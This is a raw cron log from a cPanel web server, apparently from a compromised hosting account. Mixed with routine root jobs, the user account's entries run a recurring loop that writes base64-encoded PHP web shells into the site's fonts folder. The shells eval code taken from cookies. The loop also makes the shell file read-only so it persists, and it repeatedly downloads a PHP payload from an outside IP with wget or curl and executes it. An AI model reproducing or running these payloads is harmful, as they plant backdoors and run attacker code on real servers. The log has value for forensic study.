Sep 11 01:56:01 ip-184-168-122-23 CROND[11557]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 01:56:01 ip-184-168-122-23 CROND[11555]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 11 01:56:01 ip-184-168-122-23 CROND[11560]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 01:57:01 ip-184-168-122-23 CROND[11666]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 01:57:01 ip-184-168-122-23 CROND[11669]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 01:57:01 ip-184-168-122-23 CROND[11668]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 01:57:01 ip-184-168-122-23 CROND[11670]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 01:58:01 ip-184-168-122-23 CROND[11764]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 01:58:01 ip-184-168-122-23 CROND[11767]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 11 01:58:01 ip-184-168-122-23 CROND[11768]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 01:58:01 ip-184-168-122-23 CROND[11769]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 01:58:01 ip-184-168-122-23 CROND[11766]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 01:59:01 ip-184-168-122-23 CROND[11863]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 01:59:01 ip-184-168-122-23 CROND[11865]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 01:59:01 ip-184-168-122-23 CROND[11866]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 01:59:01 ip-184-168-122-23 CROND[11867]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 02:00:01 ip-184-168-122-23 CROND[12034]: (root) CMD (/usr/local/cpanel/scripts/shrink_modsec_ip_database -x 2>&1)
Sep 11 02:00:02 ip-184-168-122-23 CROND[12036]: (root) CMD (/usr/local/cpanel/bin/backup)
Sep 11 02:00:02 ip-184-168-122-23 CROND[12037]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 11 02:00:02 ip-184-168-122-23 CROND[12038]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 11 02:00:02 ip-184-168-122-23 CROND[12040]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 02:00:02 ip-184-168-122-23 CROND[12041]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 11 02:00:02 ip-184-168-122-23 CROND[12043]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 02:00:02 ip-184-168-122-23 CROND[12042]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 11 02:00:02 ip-184-168-122-23 CROND[12044]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 02:00:02 ip-184-168-122-23 CROND[12050]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 02:01:01 ip-184-168-122-23 CROND[12207]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 02:01:01 ip-184-168-122-23 CROND[12209]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 02:01:01 ip-184-168-122-23 CROND[12212]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 11 02:01:01 ip-184-168-122-23 CROND[12213]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 02:01:01 ip-184-168-122-23 CROND[12214]: (root) CMD (run-parts /etc/cron.hourly)
Sep 11 02:01:01 ip-184-168-122-23 CROND[12215]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 02:01:01 ip-184-168-122-23 run-parts(/etc/cron.hourly)[12214]: starting 0anacron
Sep 11 02:01:01 ip-184-168-122-23 anacron[12230]: Anacron started on 2026-09-11
Sep 11 02:01:01 ip-184-168-122-23 anacron[12230]: Will run job `cron.weekly' in 60 min.
Sep 11 02:01:01 ip-184-168-122-23 anacron[12230]: Jobs will be executed sequentially
Sep 11 02:01:01 ip-184-168-122-23 run-parts(/etc/cron.hourly)[12232]: finished 0anacron
Sep 11 02:02:01 ip-184-168-122-23 CROND[12325]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 02:02:01 ip-184-168-122-23 CROND[12329]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 11 02:02:01 ip-184-168-122-23 CROND[12328]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 02:02:01 ip-184-168-122-23 CROND[12330]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 02:02:01 ip-184-168-122-23 CROND[12327]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 02:03:01 ip-184-168-122-23 CROND[12418]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 02:03:01 ip-184-168-122-23 CROND[12420]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 02:03:01 ip-184-168-122-23 CROND[12421]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 02:03:01 ip-184-168-122-23 CROND[12423]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 02:04:01 ip-184-168-122-23 CROND[12499]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 02:04:01 ip-184-168-122-23 CROND[12502]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 11 02:04:01 ip-184-168-122-23 CROND[12503]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 02:04:01 ip-184-168-122-23 CROND[12500]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 02:04:01 ip-184-168-122-23 CROND[12501]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 02:05:01 ip-184-168-122-23 CROND[12592]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 02:05:01 ip-184-168-122-23 CROND[12594]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 02:05:01 ip-184-168-122-23 CROND[12596]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 11 02:05:01 ip-184-168-122-23 CROND[12597]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 11 02:05:01 ip-184-168-122-23 CROND[12599]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 11 02:05:01 ip-184-168-122-23 CROND[12595]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 02:05:01 ip-184-168-122-23 CROND[12598]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 02:06:01 ip-184-168-122-23 CROND[12689]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 02:06:01 ip-184-168-122-23 CROND[12690]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 02:06:01 ip-184-168-122-23 CROND[12695]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 02:06:01 ip-184-168-122-23 CROND[12693]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 02:06:01 ip-184-168-122-23 CROND[12694]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 11 02:07:01 ip-184-168-122-23 CROND[12887]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 02:07:01 ip-184-168-122-23 CROND[12886]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 02:07:01 ip-184-168-122-23 CROND[12888]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 02:07:01 ip-184-168-122-23 CROND[12889]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 02:08:01 ip-184-168-122-23 CROND[12973]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 02:08:01 ip-184-168-122-23 CROND[12978]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 02:08:01 ip-184-168-122-23 CROND[12976]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
